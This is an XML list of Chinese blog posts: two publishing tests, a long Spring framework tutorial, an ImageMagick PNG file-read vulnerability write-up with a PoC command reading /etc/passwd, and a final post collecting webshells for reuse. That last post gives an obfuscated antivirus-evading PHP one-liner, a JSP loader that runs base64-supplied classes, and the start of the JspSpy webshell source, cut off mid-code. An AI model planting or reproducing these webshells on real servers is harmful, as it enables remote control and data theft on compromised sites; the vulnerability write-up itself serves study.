<?xml version="1.0" encoding="utf-8"?>
<ul>
  <li>这是一篇用于验证博客发布流程的测试文章。如果你能在站点中看到这篇文章，就说明本地新增文章、提交到GitHub，以及GitHubPages构建流程已经连通。后续正式发布内容时，可以参考这篇文章的文件命名和头部配置：文件名格式：YYYY-MM-DD-文章标题.md文章布局：layout:mypost分类字段：categories:[分类名]</li>
  <li>这是一篇用于验证本地Git提交流程的测试文章。本次验证目标：在本地新增文章文件使用gitadd和gitcommit创建本地提交通过SSH使用gitpushoriginmain推送到GitHub如果这篇文章出现在远端仓库中，说明本机SSHkey、Gitremote和博客发布链路都已经可以正常工作。</li>
  <li>layout:myposttitle:Spring中的机制与实现categories:[Spring系统学习]Spring中的机制与实现1、AOPSpringAOP（Aspect-OrientedProgramming，面向切面编程）是一种编程范式，旨在将横切关注点（如日志记录、事务管理、权限控制等）与核心业务逻辑分离，使代码更加模块化、灵活和易于维护。AOP可以通过“切面”在不修改现有代码的情况下，动态地向现有的业务逻辑中添加行为。AOP的核心概念SpringAOP的几个核心概念如下：切面（Aspect）切面是一个模块化的关注点，比如日志、安全、事务等。它是横切多个业务模块的行为。切面包含多个“通知”（Advice），是具体的增强行为。连接点（JoinPoint）连接点是程序执行过程中可以插入切面的具体位置。SpringAOP支持方法级别的连接点，因此连接点可以是方法的调用、方法的执行等。通知（Advice）通知是定义在切面中的实际动作，即在特定的连接点执行的代码逻辑。通知可以在方法执行的不同阶段执行，包括方法前、方法后、方法抛出异常时等。前置通知（BeforeAdvice）：在方法执行之前执行。后置通知（AfterAdvice）：在方法执行之后执行，不管方法是否抛出异常。返回通知（AfterReturningAdvice）：在方法正常返回之后执行。异常通知（AfterThrowingAdvice）：在方法抛出异常时执行。环绕通知（AroundAdvice）：可以在方法执行前后执行，甚至可以阻止方法的执行。这是最强大的通知类型。切入点（Pointcut）切入点是用于匹配连接点的表达式，即决定在哪些连接点上应用切面。Spring使用AspectJ的切入点表达式来定义哪些方法应该被拦截。目标对象（TargetObject）目标对象是那些被AOP代理的对象，即被切面增强的对象。代理（Proxy）代理是一个增强的目标对象，通过它可以添加横切关注点的逻辑。SpringAOP使用两种代理机制：JDK动态代理：用于基于接口的代理。CGLIB代理：用于基于类的代理。织入（Weaving）织入是将切面应用到目标对象并创建代理对象的过程。SpringAOP在运行时完成织入过程，依赖于代理对象。SpringAOP的实现方式SpringAOP实现是基于代理模式的，主要通过两种方式来生成代理对象：JDK动态代理如果目标类实现了接口，SpringAOP默认使用JDK动态代理，它基于接口创建代理对象。JDK动态代理仅代理接口中的方法。CGLIB代理如果目标类没有实现任何接口，SpringAOP会使用CGLIB来生成目标类的子类代理对象。CGLIB是基于字节码的动态代理技术，可以代理类中的所有方法。AOP的应用场景SpringAOP主要用于解决横切关注点问题，常见的应用场景包括：日志记录可以通过AOP在应用程序的各个层面记录日志，而无需在每个方法中手动添加日志代码。事务管理SpringAOP允许通过注解或配置文件为业务方法添加事务处理逻辑，简化了事务管理代码。权限验证可以在方法调用之前通过AOP检查用户是否有权限执行某些操作。性能监控通过AOP可以记录方法执行的时间、资源使用情况等，帮助进行性能优化。AOP的实现步骤使用SpringAOP的基本步骤如下：定义切面类切面类是一个普通的Java类，可以使用@Aspect注解将其标记为切面。定义切入点表达式在切面类中定义切入点表达式，用于匹配要增强的方法。可以使用@Pointcut注解来定义切入点表达式。定义通知在切面类中使用@Before、@After、@Around等注解定义通知逻辑，通知的逻辑会在匹配的切入点处执行。配置AOP支持使用注解驱动的方式，只需在配置类中启用AOP功能即可。可以通过@EnableAspectJAutoProxy注解来启用SpringAOP的自动代理功能。例子：日志记录切面@Aspect@ComponentpublicclassLoggingAspect{//定义一个切入点，匹配所有controller包下的类@Pointcut("execution(*com.example.controller..*(..))")publicvoidcontrollerMethods(){}//前置通知：方法执行前记录日志@Before("controllerMethods()")publicvoidlogBeforeMethod(JoinPointjoinPoint){System.out.println("BeforeMethod:"+joinPoint.getSignature().getName());}//后置通知：方法执行后记录日志@After("controllerMethods()")publicvoidlogAfterMethod(JoinPointjoinPoint){System.out.println("AfterMethod:"+joinPoint.getSignature().getName());}}在这个例子中，LoggingAspect是一个切面，定义了两个通知：一个是在方法执行之前记录日志，另一个是在方法执行之后记录日志。通过@Pointcut注解指定了切入点，这里匹配了controller包下的所有方法。切入点表达式详解SpringAOP使用AspectJ的切入点表达式，常见的表达式有：execution(*com.example.service.*.*(..))：匹配com.example.service包下的所有类的所有方法。within(com.example..*)：匹配com.example包及其子包下的所有类。@annotation(org.springframework.transaction.annotation.Transactional)：匹配所有带有@Transactional注解的方法。AOP与Proxy的局限性SpringAOP仅支持方法级别的连接点：不像AspectJ那样支持字段访问等连接点。AOP代理模式的性能开销：由于AOP是基于代理模式的，它会增加额外的性能开销，特别是在使用CGLIB时。自调用问题：当一个类的方法内部调用自己的其他方法时，AOP代理不会生效，因为AOP代理是在外部调用时生效的。2、placeHolder动态替换在Spring中，占位符（Placeholder）动态替换是一种常见的技术，用于将外部化配置（如属性文件中的配置）注入到Spring管理的Bean中。通过占位符，开发者可以方便地将静态值与外部化配置解耦，使得应用程序更加灵活、可配置。Spring通过@Value注解或XML配置中的占位符语法来实现占位符替换，并通过PropertySourcesPlaceholderConfigurer或@PropertySource来加载配置文件。占位符（Placeholder）概述占位符是一种格式为${property.name}的表达式，Spring会在运行时替换占位符并将其注入到Bean的属性中。这通常与外部配置文件（如.properties文件、YAML文件等）结合使用，以实现动态配置。例如，在application.properties文件中，可能包含以下内容：app.name=SpringApplicationapp.version=1.0然后，在Spring应用中，使用占位符注入这些值：@Value("${app.name}")privateStringappName;@Value("${app.version}")privateStringappVersion;Spring会自动将${app.name}和${app.version}替换为属性文件中的值。配置方式使用@Value注解@Value注解用于将属性文件中的值注入到字段或方法参数中。它的常见语法为${property.name:defaultValue}，其中property.name是属性的名称，defaultValue是默认值（如果没有找到指定属性时会使用此默认值）。例子：@ComponentpublicclassAppConfig{@Value("${app.name:DefaultAppName}")privateStringappName;@Value("${app.version:1.0}")privateStringappVersion;//GetterandSetterpublicStringgetAppName(){returnappName;}publicStringgetAppVersion(){returnappVersion;}}在此例子中，如果application.properties中没有定义app.name和app.version，Spring将使用DefaultAppName和1.0作为默认值。使用XML配置文件在SpringXML配置中，也可以使用占位符来动态注入属性。需要在XML文件中引入context:property-placeholder进行配置：application.properties文件：app.name=SpringAppXMLapp.version=2.0SpringXML配置：&lt;context:property-placeholderlocation="classpath:application.properties"/&gt;&lt;beanid="appConfig"class="com.example.AppConfig"&gt;&lt;propertyname="appName"value="${app.name}"/&gt;&lt;propertyname="appVersion"value="${app.version}"/&gt;&lt;/bean&gt;在XML配置中使用${}语法来动态地从属性文件加载配置。使用@PropertySource加载属性文件在Spring的Java配置类（@Configuration）中，可以使用@PropertySource注解来指定外部配置文件，并结合@Value注解实现动态配置注入：例子：@Configuration@PropertySource("classpath:application.properties")publicclassAppConfig{@Value("${app.name}")privateStringappName;@Value("${app.version}")privateStringappVersion;@BeanpublicSomeServicesomeService(){returnnewSomeService(appName,appVersion);}}在这个例子中，@PropertySource用于加载application.properties文件，@Value用于将属性文件中的值动态注入到appName和appVersion字段中。PropertySourcesPlaceholderConfigurer如果在XML配置中使用@Value，或者使用Java配置时，可能需要显式地定义PropertySourcesPlaceholderConfigurer来确保占位符能够被正确解析。例子：@Configuration@PropertySource("classpath:application.properties")publicclassAppConfig{@BeanpublicstaticPropertySourcesPlaceholderConfigurerpropertyConfig(){returnnewPropertySourcesPlaceholderConfigurer();}}​PropertySourcesPlaceholderConfigurer是Spring的一个专门类，用于处理占位符解析。通常情况下，它会自动加载，但有时需要手动配置。占位符的默认值在某些情况下，配置文件中的某些属性可能不存在。为了防止应用程序抛出错误，可以为占位符提供默认值：@Value("${app.description:Nodescriptionavailable}")privateStringappDescription;如果属性文件中没有定义app.description，那么Spring会使用Nodescriptionavailable作为默认值。配置多个属性文件Spring允许加载多个属性文件，通过@PropertySource注解可以加载多个文件：@Configuration@PropertySource({"classpath:application.properties","classpath:additional.properties"})publicclassAppConfig{//...}在这种情况下，application.properties和additional.properties中的属性会被加载，Spring会按照属性文件的顺序解析值，后面的文件可以覆盖前面的配置。结合SpringBoot的应用在SpringBoot中，application.properties和application.yml文件是默认加载的属性源，不需要额外的配置。通过@Value注解可以直接从这些文件中获取属性。SpringBoot还提供了更丰富的外部化配置机制，支持从命令行、环境变量、系统属性等多种来源读取配置。SpringBoot默认会自动加载application.properties或application.yml文件：app.name=SpringBootAppapp.version=1.0然后在SpringBoot应用中使用：@RestControllerpublicclassAppController{@Value("${app.name}")privateStringappName;@Value("${app.version}")privateStringappVersion;@GetMapping("/info")publicStringgetAppInfo(){return"AppName:"+appName+",Version:"+appVersion;}}3、事物在Spring中，事务管理是一个重要的功能，它确保数据操作的一致性和可靠性。事务（Transaction）是指一组要么全部执行成功、要么全部回滚的操作，具有原子性（Atomicity）、一致性（Consistency）、隔离性（Isolation）和持久性（Durability），通常简称为ACID特性。Spring提供了对事务的透明支持，可以基于声明式或编程式的方式进行管理。Spring事务管理的核心概念1.事务的本质事务是一系列对数据库的操作，它们在逻辑上是一个整体。要么所有的操作都成功执行并提交，要么如果其中任何一个操作失败，整个事务将被回滚，以确保数据的完整性和一致性。2.事务的四大特性（ACID）原子性（Atomicity）：事务中的所有操作要么全部完成，要么全部不执行。一致性（Consistency）：事务完成时，系统的状态从一个一致状态变为另一个一致状态。隔离性（Isolation）：多个事务的并发执行互不干扰，一个事务的中间状态对其他事务不可见。持久性（Durability）：一旦事务提交，其结果将永久保存，即使系统崩溃。Spring事务管理的方式Spring提供了两种主要的事务管理方式：编程式事务管理：通过手动代码实现事务管理。声明式事务管理：使用Spring的注解或XML配置，实现自动的事务管理。1.编程式事务管理编程式事务管理允许在代码中通过显式调用事务管理API来控制事务的边界。Spring提供了TransactionTemplate和PlatformTransactionManager来帮助开发者实现这种方式。例子：@ServicepublicclassAccountService{@AutowiredprivatePlatformTransactionManagertransactionManager;publicvoidtransferMoney(LongfromAccountId,LongtoAccountId,Doubleamount){TransactionDefinitiondef=newDefaultTransactionDefinition();TransactionStatusstatus=transactionManager.getTransaction(def);try{//业务逻辑：从一个账户转账到另一个账户debit(fromAccountId,amount);credit(toAccountId,amount);//提交事务transactionManager.commit(status);}catch(Exceptionex){//回滚事务transactionManager.rollback(status);throwex;}}}在这个例子中，通过PlatformTransactionManager明确控制事务的开始、提交和回滚。这种方式虽然灵活，但需要手动管理事务的生命周期，容易导致代码复杂。2.声明式事务管理声明式事务管理是Spring推荐的事务管理方式。它可以通过注解或者XML配置来定义事务边界，开发者无需显式地在代码中管理事务，Spring框架会自动处理。注解方式：Spring支持使用@Transactional注解来定义事务。这个注解可以用于类或方法级别，标记该类或方法应当在事务上下文中执行。例子：@ServicepublicclassAccountService{@AutowiredprivateAccountRepositoryaccountRepository;@TransactionalpublicvoidtransferMoney(LongfromAccountId,LongtoAccountId,Doubleamount){//业务逻辑：从一个账户转账到另一个账户debit(fromAccountId,amount);credit(toAccountId,amount);}privatevoiddebit(LongaccountId,Doubleamount){//扣款逻辑accountRepository.debit(accountId,amount);}privatevoidcredit(LongaccountId,Doubleamount){//存款逻辑accountRepository.credit(accountId,amount);}}在这里，@Transactional注解声明了transferMoney()方法应当在事务上下文中执行。Spring会在方法执行之前自动启动事务，执行成功后提交事务，发生异常时自动回滚。配置声明式事务声明式事务管理可以通过注解方式实现，也可以通过XML配置实现。基于注解的配置：在SpringBoot中，声明式事务管理通常通过@EnableTransactionManagement注解开启：@Configuration@EnableTransactionManagementpublicclassTransactionConfig{//配置事务管理器@BeanpublicPlatformTransactionManagertransactionManager(){returnnewDataSourceTransactionManager(dataSource());}}基于XML的配置：在传统的SpringXML配置中，事务管理可以通过以下方式配置：&lt;tx:annotation-driventransaction-manager="transactionManager"/&gt;&lt;beanid="transactionManager"class="org.springframework.jdbc.datasource.DataSourceTransactionManager"&gt;&lt;propertyname="dataSource"ref="dataSource"/&gt;&lt;/bean&gt;事务的传播行为（Propagation）Spring事务的传播行为决定了一个事务方法在被另一个事务方法调用时，应该如何工作。常见的传播行为包括：REQUIRED（默认值）：如果当前没有事务，则启动一个新事务；如果已经有事务，则加入当前事务。REQUIRES_NEW：无论当前是否有事务，都会启动一个新的事务。原来的事务将挂起，新的事务完成后恢复。SUPPORTS：如果当前有事务，则加入事务；如果没有事务，则以非事务方式执行。NOT_SUPPORTED：以非事务方式执行，如果当前存在事务，则挂起事务。MANDATORY：必须在事务中执行，如果当前没有事务，则抛出异常。NEVER：必须以非事务方式执行，如果当前有事务，则抛出异常。NESTED：如果当前有事务，则在嵌套事务中执行；否则启动一个新事务。例子：@Transactional(propagation=Propagation.REQUIRES_NEW)publicvoidsomeMethod(){//事务逻辑}事务的隔离级别（IsolationLevel）事务的隔离级别决定了多个事务之间的隔离程度，常见的隔离级别包括：DEFAULT：使用数据库默认的隔离级别。READ_UNCOMMITTED：允许读取未提交的数据，可能出现“脏读”。READ_COMMITTED：只能读取已提交的数据，避免“脏读”，但可能出现“不可重复读”。REPEATABLE_READ：避免“脏读”和“不可重复读”，但可能出现“幻读”。SERIALIZABLE：最高级别，完全避免脏读、不可重复读和幻读，但性能较低。@Transactional(isolation=Isolation.SERIALIZABLE)publicvoidsomeMethod(){//事务逻辑}事务的回滚规则Spring默认情况下，如果方法抛出运行时异常（RuntimeException）或Error，事务将回滚。如果抛出的是受检异常（CheckedException），事务不会回滚，除非显式配置了rollbackFor属性。例子：@Transactional(rollbackFor=Exception.class)publicvoidsomeMethod()throwsException{//事务逻辑}在这个例子中，指定了无论抛出何种异常，事务都会回滚。4、核心接口类Spring框架中有许多核心接口类，它们提供了实现依赖注入、面向切面编程、数据访问、事务管理等功能的基础。理解这些接口是掌握Spring框架的关键。以下是Spring框架中一些重要的核心接口类及其具体用法的详细讲解：1.BeanFactory接口BeanFactory是SpringIOC容器的核心接口，用于定义和管理Spring中的Bean。它是Spring框架的基础接口，负责创建和管理依赖关系的实例化和生命周期。BeanFactory提供了IoC容器的最基本功能，通过它可以获取Bean实例。主要方法：ObjectgetBean(Stringname)：根据Bean的名称获取Bean实例。ObjectgetBean(Stringname,Class&lt;?&gt;requiredType)：根据Bean的名称和类型获取实例。booleancontainsBean(Stringname)：判断容器中是否包含指定名称的Bean。booleanisSingleton(Stringname)：判断指定名称的Bean是否是单例。booleanisPrototype(Stringname)：判断指定名称的Bean是否是原型模式。使用场景：BeanFactory通常用于简单的场景下，加载配置较慢，但内存占用较少。常用于嵌入式应用和资源受限的环境中。BeanFactoryfactory=newXmlBeanFactory(newClassPathResource("beans.xml"));MyBeanmyBean=(MyBean)factory.getBean("myBean");2.ApplicationContext接口ApplicationContext是BeanFactory的子接口，提供了更强大的功能，例如国际化支持、事件传播、Bean自动装配、以及与SpringAOP的集成。它是Spring框架中使用最广泛的容器接口。主要方法：voidpublishEvent(ApplicationEventevent)：发布应用程序事件。ResourcegetResource(Stringlocation)：加载指定路径的资源文件。EnvironmentgetEnvironment()：获取当前应用的环境信息。String[]getBeanDefinitionNames()：获取容器中所有Bean的名称。使用场景：ApplicationContext是企业级开发中最常使用的容器接口，支持更丰富的功能，并且在容器启动时预实例化所有Bean，适合于大多数Spring应用。ApplicationContextcontext=newClassPathXmlApplicationContext("beans.xml");MyBeanmyBean=context.getBean(MyBean.class);3.BeanPostProcessor接口BeanPostProcessor是Spring提供的一个扩展点接口，用于在Spring容器初始化Bean之前和之后对Bean进行自定义修改。Spring容器通过BeanPostProcessor来增强或修改Bean的行为。主要方法：ObjectpostProcessBeforeInitialization(Objectbean,StringbeanName)：在Bean初始化之前执行操作。ObjectpostProcessAfterInitialization(Objectbean,StringbeanName)：在Bean初始化之后执行操作。使用场景：BeanPostProcessor通常用于定制或增强SpringBean，例如AOP代理、属性修改等。publicclassMyBeanPostProcessorimplementsBeanPostProcessor{@OverridepublicObjectpostProcessBeforeInitialization(Objectbean,StringbeanName)throwsBeansException{System.out.println("BeforeInitialization:"+beanName);returnbean;}@OverridepublicObjectpostProcessAfterInitialization(Objectbean,StringbeanName)throwsBeansException{System.out.println("AfterInitialization:"+beanName);returnbean;}}4.InitializingBean接口InitializingBean是Spring提供的一个生命周期回调接口，提供了在Bean属性设置后进行初始化的回调方法。主要方法：voidafterPropertiesSet()：当Bean的所有属性设置完成后，容器会自动调用这个方法。使用场景：InitializingBean通常用于需要在Bean初始化完成后执行自定义逻辑的场景，比如初始化数据库连接等资源。publicclassMyBeanimplementsInitializingBean{@OverridepublicvoidafterPropertiesSet()throwsException{//Bean初始化逻辑System.out.println("InitializingBean");}}5.DisposableBean接口DisposableBean是Spring提供的另一个生命周期回调接口，用于在Bean销毁时执行自定义的清理逻辑。主要方法：voiddestroy()：当Spring容器销毁Bean时，调用该方法来执行资源清理等操作。使用场景：这个接口适用于需要在销毁Bean时释放资源的场景，比如关闭数据库连接、释放线程池等。publicclassMyBeanimplementsDisposableBean{@Overridepublicvoiddestroy()throwsException{//Bean销毁逻辑System.out.println("DestroyingBean");}}6.ApplicationListener接口ApplicationListener是Spring的事件机制接口，用于监听和处理由ApplicationEvent触发的事件。任何实现了ApplicationListener接口的类都可以监听特定类型的事件。主要方法：voidonApplicationEvent(Eevent)：接收到特定事件时，会触发此方法。使用场景：ApplicationListener常用于处理应用程序中的事件，例如用户注册事件、订单创建事件等。publicclassMyEventListenerimplementsApplicationListener&lt;MyEvent&gt;{@OverridepublicvoidonApplicationEvent(MyEventevent){System.out.println("Receivedevent:"+event.getMessage());}}7.HandlerInterceptor接口HandlerInterceptor是SpringMVC中的核心接口，允许开发者在处理HTTP请求的不同阶段拦截请求。这类似于Servlet的过滤器，但更加灵活和轻量。主要方法：booleanpreHandle(HttpServletRequestrequest,HttpServletResponseresponse,Objecthandler)：在请求处理之前调用。如果返回false，则中断请求。voidpostHandle(HttpServletRequestrequest,HttpServletResponseresponse,Objecthandler,ModelAndViewmodelAndView)：在请求处理之后但在视图渲染之前调用。voidafterCompletion(HttpServletRequestrequest,HttpServletResponseresponse,Objecthandler,Exceptionex)：在请求完成之后调用（即视图渲染完成后）。使用场景：HandlerInterceptor常用于请求的权限验证、日志记录、性能监控等场景。publicclassMyInterceptorimplementsHandlerInterceptor{@OverridepublicbooleanpreHandle(HttpServletRequestrequest,HttpServletResponseresponse,Objecthandler)throwsException{System.out.println("Pre-handlelogic");returntrue;}@OverridepublicvoidpostHandle(HttpServletRequestrequest,HttpServletResponseresponse,Objecthandler,ModelAndViewmodelAndView)throwsException{System.out.println("Post-handlelogic");}@OverridepublicvoidafterCompletion(HttpServletRequestrequest,HttpServletResponseresponse,Objecthandler,Exceptionex)throwsException{System.out.println("Aftercompletionlogic");}}8.ResourceLoader接口ResourceLoader是Spring用于加载外部资源（如文件、URL等）的核心接口。它可以根据不同的路径策略自动识别和加载资源。主要方法：ResourcegetResource(Stringlocation)：根据指定位置返回Resource对象。使用场景：用于加载配置文件、图片、XML文件等外部资源。@ResourceprivateResourceLoaderresourceLoader;publicvoidloadResource(){Resourceresource=resourceLoader.getResource("classpath:application.properties");System.out.println(resource.exists());}9.PlatformTransactionManager接口PlatformTransactionManager是Spring用于管理事务的核心接口，支持声明式和编程式的事务管理。Spring提供了多种实现，如DataSourceTransactionManager、JpaTransactionManager等。主要方法：TransactionStatusgetTransaction(TransactionDefinitiondefinition)：根据事务定义返回事务状态对象。voidcommit(TransactionStatusstatus)：提交事务。voidrollback(TransactionStatusstatus)：回滚事务。使用场景：在事务管理中使用，尤其是复杂的业务场景，需要手动控制事务的提交和回滚。@AutowiredprivatePlatformTransactionManagertransactionManager;publicvoidperformTransaction(){TransactionDefinitiondef=newDefaultTransactionDefinition();TransactionStatusstatus=transactionManager.getTransaction(def);try{//业务逻辑transactionManager.commit(status);}catch(Exceptione){transactionManager.rollback(status);throwe;}}5、Scope在Spring框架中，Scope定义了Bean的生命周期和可见性。换句话说，Scope决定了一个Bean是如何创建、存储和共享的。在Spring中，Bean的作用域可以通过注解@Scope来指定，或者在XML配置文件中通过scope属性来配置。Spring提供了五种常见的作用域：Singleton（单例，默认作用域）Prototype（原型）Request（仅限Web应用）Session（仅限Web应用）Application（仅限Web应用）1.SingletonScope（单例作用域，默认）Singleton是Spring容器中最常见、也是默认的作用域。表示在Spring容器中，每个Bean只有一个实例，无论在应用的哪一部分引用到该Bean，容器都会返回同一个实例。特点：全局唯一实例：整个SpringIoC容器中，Bean是全局唯一的。生命周期与容器同步：容器启动时创建单例Bean，并在容器关闭时销毁Bean。线程不安全：由于单例Bean是全局唯一的，在多线程环境中可能导致线程安全问题，因此需要开发者自行管理并发问题。配置方式：基于注解：@Component@Scope("singleton")//可省略，因为singleton是默认作用域publicclassMySingletonBean{//Bean定义}基于XML：&lt;beanid="mySingletonBean"class="com.example.MySingletonBean"scope="singleton"/&gt;2.PrototypeScope（原型作用域）Prototype表示每次请求该Bean时都会创建一个新的实例。与Singleton不同，Prototype作用域的Bean并不在容器启动时创建，而是在每次获取时才创建新的实例。特点：每次请求生成新实例：每次注入或请求该Bean时，都会创建一个新的实例。生命周期较短：原型Bean的生命周期由客户端代码控制，Spring只负责创建实例，而不管理其销毁。线程安全：由于每次都会创建一个新的实例，因此在多线程环境中无需担心线程安全问题。配置方式：基于注解:@Component@Scope("prototype")publicclassMyPrototypeBean{//Bean定义}基于XML：&lt;beanid="myPrototypeBean"class="com.example.MyPrototypeBean"scope="prototype"/&gt;3.RequestScope（请求作用域，Web应用）Request作用域用于Web应用程序中，表示每次HTTP请求都会创建一个新的Bean实例，并且该实例仅在当前请求内有效。在请求处理完成后，Bean会被销毁。特点：每次请求生成新实例：每个HTTP请求都会创建一个新的Bean实例，并且只在该请求的生命周期内存在。适用于Web环境：该作用域主要用于Web应用，常用于处理请求的Controller或Service。配置方式：基于注解：@Component@Scope("request")publicclassMyRequestBean{//Bean定义}基于XML：&lt;beanid="myRequestBean"class="com.example.MyRequestBean"scope="request"/&gt;4.SessionScope（会话作用域，Web应用）Session作用域表示每个HTTP会话会创建一个Bean实例，并且该实例在整个会话期间内有效。这个Bean会随着会话的结束而销毁。特点：每个会话一个实例：每个用户的会话都会有一个独立的Bean实例，并且该实例可以在会话的整个生命周期内共享。适用于Web环境：该作用域仅在Web应用中使用，常用于管理与用户会话相关的对象。配置方式：基于注解：@Component@Scope("session")publicclassMySessionBean{//Bean定义}基于XML：&lt;beanid="mySessionBean"class="com.example.MySessionBean"scope="session"/&gt;5.ApplicationScope（应用作用域，Web应用）Application作用域表示整个Web应用程序共享一个Bean实例，该实例的生命周期与ServletContext一致。这个作用域与Singleton类似，但仅在Web应用中使用。特点：全局唯一实例：整个Web应用共享同一个Bean实例，生命周期与应用程序同步。适用于Web环境：该作用域适合跨多个请求、多个会话共享数据的情况。配置方式：基于注解：@Component@Scope("application")publicclassMyApplicationBean{//Bean定义}基于XML：&lt;beanid="myApplicationBean"class="com.example.MyApplicationBean"scope="application"/&gt;Scope配置方式在Spring中，可以通过多种方式指定Bean的作用域：注解方式：使用@Scope注解，结合Spring提供的@Component、@Service、@Controller等注解，定义Bean的作用域。@Component@Scope("prototype")publicclassMyPrototypeBean{//定义}XML配置方式：在XML配置中使用scope属性指定Bean的作用域。&lt;beanid="myBean"class="com.example.MyBean"scope="singleton"/&gt;</li>
  <li>1、漏洞介绍ImageMagick是一款免费软件，以随时可用的二进制分发版或源代码形式提供，您可以在开放和专有应用程序中使用、复制、修改和分发。可以使用ImageMagick®创建、编辑、合成或转换数字图像。它可以读取和写入多种格式（超过200种）的图像。远程攻击者可通过制作恶意的PNG文件并上传至受影响的使用ImageMagick解析图片的网站来利用这个漏洞，当网站或应用使用ImageMagick对恶意的PNG文件进行解析时将触发这两个漏洞，从而造成敏感信息泄露或拒绝服务。2、漏洞复现使用vulhub启动环境使用命令生成恶意图片poc./poc.pygenerate-opoc.png-r/etc/passwd上传恶意图片使用命令读取解析后的图片./poc.pyparse-i63e0d0cc354ef.png复现这块就不多说了3、漏洞分析分析漏洞之前我们先来了解下PNG图片的格式。PNG图片是由PNG文件头和多个数据块（chunk）组成：文件头，固定8字节长度，0x89504E470D0A1A0A数据块，存在多个，每个数据块有下面这四部分组成：整个数据块的长度（Length），4字节的uint32类型数据块类型（ChunkTypeCode），4字节的字符串类型，由英文字母组成数据（ChunkData），数据库中保存的实际数据校验码（CRC）常见的四种类型的数据块：文件头数据块（IHDR），其中包含图片信息，作为第一个数据块，有且仅有一个调色板数据块（PLTE）图像数据块（IDAT），存储实际的图片数据，可以有多个图像结束数据（IEND），作为最后一个数据块，表示PNG数据流结束除了上述4种常见的数据块以外，还有一些不常见的数据块，我们这次的漏洞就出现在tEXt这个数据块中。tEXt数据块并没有规定具体作用，只说可以用于保存未压缩的图片属性，其格式是key\0value，这个key是属性的名字，value是属性的值，中间由\0字符分隔。可以看到我们复现过程中profile和文件名之间存在00字符：在2017年发布的PNG1.2Specification,Version1.5.0中，PNG图片格式新增了一个eXIf数据块，专门用于保存图片的Exif数据；而在此之前，PNG标准规范中也没有规定Exif数据要保存在哪，于是ImageMagick就将Exif数据保存在tEXt数据块中。这次出现问题的就是tEXt数据块中属性名是profile的属性。接下来来看看代码：上传图像以触发ImageMagick命令读取tEXt数据块判断property变量是否等于profile将profile的值的字符串复制为文件名，并保存FileToStringInfo函数将读取文件内容并将内容保存到string_info-&gt;datum读取文件后文件内容被FileToStringInfo读取并返回，然后调用SetImageProperty函数将之前读取的文件内容二进制储存到新生成的图片中下载图片并读取图片则可以看到读取的文件内容。</li>
  <li>这里累计收集一些比较好用或者遇到的比较特殊的大、小马备用php免杀一句话&lt;php7.1可用，密码1可改&lt;?@("Y;HJ(Z"^"8H;/Z.")(${"~?}$"^"!x8p"}[1]);蚁剑jsp免杀马(可过3x0)&lt;%!classAFKZextendsClassLoader{AFKZ(ClassLoaderNGOK){super(NGOK);}publicClassg(byte[]b){returnsuper.defineClass(b,0,b.length);}}%&gt;&lt;%Stringcls=request.getParameter("bypass");if(cls!=null){newAFKZ(this.getClass().getClassLoader()).g(newsun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext);}%&gt;Jsp木马（下载操作）&lt;%@pagepageEncoding="utf-8"%&gt;&lt;%@pageimport="java.io.*"%&gt;&lt;%@pageimport="java.util.*"%&gt;&lt;%@pageimport="java.util.regex.*"%&gt;&lt;%@pageimport="java.sql.*"%&gt;&lt;%@pageimport="java.nio.charset.*"%&gt;&lt;%@pageimport="javax.servlet.http.HttpServletRequestWrapper"%&gt;&lt;%@pageimport="java.text.*"%&gt;&lt;%@pageimport="java.net.*"%&gt;&lt;%@pageimport="java.util.zip.*"%&gt;&lt;%@pageimport="java.awt.*"%&gt;&lt;%@pageimport="java.awt.image.*"%&gt;&lt;%@pageimport="javax.imageio.*"%&gt;&lt;%@pageimport="java.awt.datatransfer.DataFlavor"%&gt;&lt;%@pageimport="java.util.prefs.Preferences"%&gt;&lt;%!/***CodeByNinty*Date2009-12-17*Bloghttp://www.Forjj.com/*Yue.ILoveYou.*/privatestaticStringPW="ninty";//passwordprivatestaticStringPW_SESSION_ATTRIBUTE="JspSpyPwd";privatestaticStringREQUEST_CHARSET="ISO-8859-1";privatestaticStringPAGE_CHARSET="UTF-8";privatestaticStringCURRENT_DIR="currentdir";privatestaticStringMSG="SHOWMSG";privatestaticStringPORT_MAP="PMSA";privatestaticStringDBO="DBO";privatestaticStringSHELL_ONLINE="SHELL_ONLINE";privatestaticStringSHELL_NAME="";privatestaticStringWEB_ROOT=null;privatestaticStringSHELL_DIR=null;publicstaticMap&lt;String,Invoker&gt;ins=newHashMap&lt;String,Invoker&gt;();privatestaticclassDBOperator{privateConnectionconn=null;privateStatementstmt=null;privateStringdriver;privateStringurl;privateStringuid;privateStringpwd;publicDBOperator(Stringdriver,Stringurl,Stringuid,Stringpwd)throwsException{this(driver,url,uid,pwd,false);}publicDBOperator(Stringdriver,Stringurl,Stringuid,Stringpwd,booleanconnect)throwsException{Class.forName(driver);if(connect)this.conn=DriverManager.getConnection(url,uid,pwd);this.url=url;this.driver=driver;this.uid=uid;this.pwd=pwd;}publicvoidconnect()throwsException{this.conn=DriverManager.getConnection(url,uid,pwd);}publicObjectexecute(Stringsql)throwsException{if(isValid()){stmt=conn.createStatement();if(stmt.execute(sql)){returnstmt.getResultSet();}else{returnstmt.getUpdateCount();}}thrownewException("ConnectionisinValid.");}publicvoidcloseStmt()throwsException{if(this.stmt!=null)stmt.close();}publicbooleanisValid()throwsException{returnconn!=null&amp;&amp;!conn.isClosed();}publicvoidclose()throwsException{if(isValid()){closeStmt();conn.close();}}publicbooleanequals(Objecto){if(oinstanceofDBOperator){DBOperatordbo=(DBOperator)o;returnthis.driver.equals(dbo.driver)&amp;&amp;this.url.equals(dbo.url)&amp;&amp;this.uid.equals(dbo.uid)&amp;&amp;this.pwd.equals(dbo.pwd);}returnfalse;}}privatestaticclassStreamConnectorextendsThread{privateInputStreamis;privateOutputStreamos;publicStreamConnector(InputStreamis,OutputStreamos){this.is=is;this.os=os;}publicvoidrun(){BufferedReaderin=null;BufferedWriterout=null;try{in=newBufferedReader(newInputStreamReader(this.is));out=newBufferedWriter(newOutputStreamWriter(this.os));charbuffer[]=newchar[8192];intlength;while((length=in.read(buffer,0,buffer.length))&gt;0){out.write(buffer,0,length);out.flush();}}catch(Exceptione){}try{if(in!=null)in.close();if(out!=null)out.close();}catch(Exceptione){}}}privatestaticclassOnLineProcess{privateStringcmd="first";privateProcesspro;publicOnLineProcess(Processp){this.pro=p;}publicvoidsetPro(Processp){this.pro=p;}publicvoidsetCmd(Stringc){this.cmd=c;}publicStringgetCmd(){returnthis.cmd;}publicProcessgetPro(){returnthis.pro;}publicvoidstop(){this.